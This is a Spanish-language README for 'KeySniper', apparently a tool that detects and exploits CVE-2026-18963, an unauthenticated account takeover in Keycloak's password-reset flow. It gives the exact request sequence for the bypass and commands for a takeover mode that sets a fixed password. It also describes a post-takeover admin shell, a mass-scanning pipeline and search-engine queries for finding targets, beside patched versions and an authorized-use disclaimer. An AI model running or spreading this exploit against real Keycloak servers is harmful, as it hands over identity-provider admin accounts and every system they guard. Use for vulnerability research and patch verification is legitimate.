
**CVE-2026-18963** — toma de control no autenticada de cuentas de Keycloak a través del flujo de restablecimiento de credenciales.

Autor: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — toma de control de cuenta Keycloak sin autenticación mediante el flujo de restablecimiento de credenciales.
KeySniper es un escáner orientado a producción para programas de bug bounty dentro del alcance y evaluaciones autorizadas: salida de radar en vivo, descubrimiento de realms, detección vs toma de control, shell interactivo posterior a ATO y pipeline de stdin (subfinder → httpx → KeySniper).
El modo predeterminado es detección (--takeover 0). --takeover 1 cambia la contraseña de la cuenta en el objetivo.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — Mecanismo débil de recuperación de contraseña |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Producto | Keycloak / Red Hat SSO |
| Corregido en | 26.7.2, 26.6.6, 26.4.15 |
| Autenticación | Ninguna |
Se encadenan dos errores:
tryAnotherWay almacena una nota de selector genérica "true" que no está limitada al ID de ejecución.ResetCredentialEmail.action() llama a context.success() sin verificar ACTION_TOKEN_USER_ID.Resultado: un llamador no autenticado puede forzar el flujo de restablecimiento de contraseña para un nombre de usuario conocido y llegar a UPDATE_PASSWORD sin hacer clic en el enlace del correo.
El escaneo no es "existe olvidé mi contraseña". La confirmación es:
execution= cambia (se filtra la ejecución del correo)kc-passwd-update-formexec3 = 28e2cd30-… (primer selector)
exec6 = 8fd21174-… (GET pivote)
UPDATE_PASSWORD
[radar] en vivo (Ubicación, JS, cabeceras, sonda de realm)302 Location + HTML/JS + well-known + lista de palabras/authhttpx / subfinder--takeover 0 solo detección--takeover 1 establecer contraseña (por defecto SelaM1337@@)--shell shell interactivo de token / asistente de API de administración después de ATOVULN / ATO rojo, SAFE verde, SKIP amarillopython3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Python 3.9+.
# detección (sin cambio de contraseña)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# toma de control + shell interactivo
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# realm / usuario
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# pipeline
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# archivo de lista
python3 KeySniper.py -l urls.txt --takeover 0 -q
No pase --takeover 1 ni --shell en un volcado de pipeline.
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ href de olvidé mi contraseña (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<usuario>
[5] GET startSessionPolling / restart (si está presente)
[6] GET URL original de reset-credentials (pivote)
→ re-render del selector + nueva execution=
[7] POST selector obsoleto (sin token de acción)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (solo si --takeover 1)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open parcheado
[SKIP] https://www.example.com not-keycloak
leak-no-update no se cuenta como VULN.
Se abre solo después de [ATO] en un objetivo único:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
Usa la concesión de contraseña del propietario del recurso (admin-cli, luego account).
HTTP 403 en /admin/realms significa que Direct Access Grants / rol de administrador está limitado — el ATO puede seguir siendo válido.
/realms/master y luego /auth/realms/masterLocation, HTML, JS, "realm":, emisor/realms/{nombre} devuelve 200 + cuerpo de Keycloak/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (alcance del programa):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ se ignora a menos que el cuerpo tenga issuer / public_key / login-actionsSKIP (el realm tiene el reset deshabilitado)kc-passwd-update-form → SKIPhttpx se reducen al origen (se conserva /auth)Keycloak < 26.7.2 (también 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigación: deshabilitar Olvidé mi contraseña en cada realm y luego actualizar.
La captura de pantalla en este repositorio está redactada (placeholder sso.lab.local). Los tokens, contraseñas, correos y hosts reales no se publican.
Mitsec
X: x.com/ynsmroztas
Uso de investigación en objetivos autorizados dentro del alcance. Mantenga --takeover 1 desactivado en hosts fuera del alcance.
| Bandera | Predeterminado | Significado |
|---|
-u URL | — | Objetivo único |
-l ARCHIVO | — | Lista de URLs |
| stdin | auto | líneas de httpx (primer campo = URL) |
--takeover 0|1 | 0 | Detección vs cambio de contraseña |
-U USUARIO | admin | Nombre de usuario objetivo |
-r REALM | auto | Forzar realm o descubrir |
--pass | SelaM1337@@ | Nueva contraseña si takeover=1 |
-t N | 4 | Hilos del pipeline |
-q | off | Solo resultados |
--shell | off | Shell posterior a ATO (objetivo único) |
| Estado | Significado |
|---|
VULN | Pivote + UPDATE_PASSWORD (contraseña no cambiada) |
ATO | Paso 8 exitoso |
SAFE | Reset abierto, sin selector obsoleto (parcheado) |
SKIP | No es Keycloak / reset deshabilitado / fuga sin formulario UPDATE |
FAIL | Red / excepción inesperada |